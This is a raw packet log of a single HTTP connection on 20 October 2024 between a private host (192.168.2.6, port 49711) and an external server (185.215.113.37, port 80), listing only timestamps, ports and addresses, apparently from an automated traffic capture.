Oct 20, 2024 21:16:15.249135017 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.249150991 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.249166012 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.249181032 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.249183893 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.249213934 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.249239922 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.250000000 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.250015020 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.250030041 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.250044107 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.250057936 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.250058889 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.250071049 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.250106096 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.250941038 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.250956059 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.250969887 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.250983953 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.250999928 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.251023054 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.251760006 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.251775026 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.251790047 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.251804113 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.251816034 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.251821041 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.251864910 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.251898050 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.252621889 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.252635956 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.252650023 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.252672911 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.252674103 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.252696037 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.252723932 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.253505945 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.253520966 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.253535032 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.253550053 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.253561020 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.253565073 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.253578901 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.253585100 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.253612995 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.253626108 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.254391909 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.254406929 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.254420996 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.254435062 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.254445076 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.254462004 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.254492044 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.305665970 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.310693979 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.647309065 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.647406101 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.647425890 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.647429943 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.647455931 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.647479057 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.647615910 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.647667885 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.647845030 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.647866011 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.647892952 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.647922039 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.648322105 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.648343086 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.648363113 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.648382902 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.648407936 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.648463964 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.649053097 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.649072886 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.649091959 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.649108887 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.649112940 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.649139881 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.649178982 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.649936914 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.649967909 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.649987936 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.649988890 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.650010109 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.650013924 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.650031090 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.650058031 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.650058031 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.650091887 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.650811911 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.650831938 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.650851011 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.650868893 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.650891066 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.650947094 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.650947094 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.651693106 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.651714087 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.651727915 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.651743889 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.651757956 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.651760101 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.651788950 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.651824951 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.653002977 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.653017044 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.653031111 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.653045893 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.653059959 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.653060913 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.653105974 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.653465033 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.653489113 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.653506041 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.653518915 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.653522015 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.653567076 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.654334068 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.654350996 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.654364109 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.654381037 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.654398918 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.654401064 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.654421091 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.654479027 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.655030966 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.655045986 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.655060053 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.655073881 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.655088902 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.655090094 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.655106068 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.655122995 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.655148029 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.655200958 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.656034946 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.656049967 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.656064034 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.656079054 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.656085968 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.656095982 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.656111002 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.656115055 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.656166077 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.656783104 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.656805992 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.656821012 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.656835079 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.656840086 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.656848907 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.656862974 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.656867027 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.656908035 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.657668114 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.657684088 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.657699108 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.657713890 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.657728910 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.657735109 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.657744884 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.657778025 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.657800913 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.658552885 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.658569098 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.658581972 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.658600092 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.658608913 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.658616066 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.658629894 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.658638954 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.658684015 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.659420013 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.659434080 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.659449100 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.659462929 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.659466982 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.659478903 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.659495115 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.659514904 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.659567118 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.660309076 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.660325050 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.660339117 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.660353899 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.660362005 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.660368919 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.660383940 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.660404921 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.660448074 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.661168098 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.661184072 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.661197901 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.661211967 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.661225080 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.661226034 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.661240101 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.661250114 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.661289930 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.661891937 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.661946058 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.661971092 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.661987066 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.662000895 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.662015915 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.662019014 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.662039995 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.662045002 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.662084103 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.662774086 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.662790060 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.662802935 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.662817001 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.662830114 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.662832975 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.662847996 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.662857056 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.662866116 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.662883997 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.662930965 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.663746119 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.663760900 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.663775921 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.663789988 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.663804054 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.663817883 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.663831949 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.663839102 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.663839102 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.663865089 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.663887978 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.664645910 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.664661884 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.664675951 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.664690971 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.664701939 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.664705992 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.664721012 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.664726973 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.664736032 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.664774895 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.664798975 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.665591955 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.665616035 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.665623903 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.665627003 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.665642023 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.665658951 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.665673018 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.665683031 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.665740967 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.666487932 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.666505098 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.666518927 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.666534901 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.666553974 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.666572094 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.666599989 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.666621923 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.667337894 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.667382002 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.667408943 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.667418003 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.667423964 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.667438030 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.667442083 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.667453051 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.667467117 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.667495012 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.667538881 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.668181896 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.668200970 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.668215990 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.668231964 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.668245077 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.668246031 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.668262005 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.668278933 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.668291092 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.668330908 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.669009924 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.669022083 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.669033051 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.669073105 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.669096947 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.669482946 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.669496059 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.669507027 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.669518948 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.669528961 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.669537067 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.669543028 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.669553995 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.669564962 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.669565916 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.669605017 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.670406103 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.670418024 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.670428038 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.670442104 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.670454025 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.670464039 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.670465946 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.670478106 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.670490980 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.670491934 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.670516968 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.670542002 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.671350956 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.671363115 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.671371937 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.671387911 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.671406031 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.671413898 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.671416998 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.671428919 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.671435118 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.671439886 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.671458006 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.671483994 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.672278881 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.672291994 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.672303915 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.672317028 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.672327995 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.672339916 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.672342062 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.672352076 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.672363997 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.672372103 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.672405958 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 20, 2024 21:16:15.673223972 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 20, 2024 21:16:15.673237085 CEST	80	49711	185.215.113.37	192.168.2.6
